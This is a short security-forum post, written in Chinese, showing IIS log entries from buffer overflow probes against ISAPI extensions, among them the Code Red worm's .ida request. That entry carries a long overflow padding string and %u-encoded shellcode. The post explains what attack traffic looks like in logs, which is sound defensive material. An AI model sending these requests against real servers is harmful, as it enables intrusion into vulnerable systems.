資安論壇

IIS Buffer Overflows (緩衝區錯誤) LOG 範例

利用 ISAPI extensions (ASP、HTR、IDQ、PRINTER和SSI)，例如 Code Red 使用 .idq

07:48:38 xxx.xxx.xxx.xxx GET /global.asa+.htr 200
07:48:39 xxx.xxx.xxx.xxx HEAD /scripts/samples/search/queryhit.idq 200
07:48:40 xxx.xxx.xxx.xxx GET /NULL.printer 404

2002-xx-xx 03:01:35 xx.xx.xx.xx 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -